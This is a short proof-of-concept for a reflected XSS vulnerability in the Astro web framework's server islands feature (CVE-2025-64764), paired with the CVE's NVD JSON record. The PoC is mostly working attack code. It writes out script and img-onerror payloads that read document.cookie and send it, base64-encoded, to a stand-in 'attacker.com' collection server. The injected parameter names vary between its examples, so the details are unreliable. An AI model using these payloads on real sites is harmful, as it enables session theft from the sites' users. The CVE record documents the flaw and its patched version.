CVE-2025-64764

// CVE-2025-64764 PoC - Astro Server Islands Reflected XSS // Target: Astro application with Server Islands enabled // // Malicious URL to trigger XSS: // https://vulnerable-site.com/page?serverIslandParam=<img src=x onerror=alert(document.cookie)> // // Example attack scenario: const vulnerableUrl = 'https://target-astro-site.com/page?' + 'island_param=<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Attacker's server to receive stolen cookies const attackerServer = 'https://attacker.com/collect'; // XSS payload that exfiltrates session data const xssPayload = ` <img src=x onerror=" fetch('${attackerServer}?data=' + btoa(document.cookie)) "> `; // For testing, inject via URL parameter const testUrl = `http://localhost:4321/?__astro_island=${encodeURIComponent(xssPayload)}`; // Mitigation: Upgrade to Astro >= 5.15.8

{"cve": {"id": "CVE-2025-64764", "sourceIdentifier": "[email protected]", "published": "2025-11-19T17:15:52.647", "lastModified": "2025-11-20T17:54:05.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Astro is a web framework. Prior to version 5.15.8, a reflected XSS vulnerability is present when the server islands feature is used in the targeted application, regardless of what was intended by the component template(s). This issue has been patched in version 5.15.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:astro:astro:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "5.15.8", "matchCriteriaId": "1015DFA8-9106-453C-9144-11E63ADA3B67"}]}]}], "references": [{"url": "https://github.com/withastro/astro/commit/790d9425f39bbbb462f1c27615781cd965009f91", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/withastro/astro/security/advisories/GHSA-wrwg-2hg8-v723", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}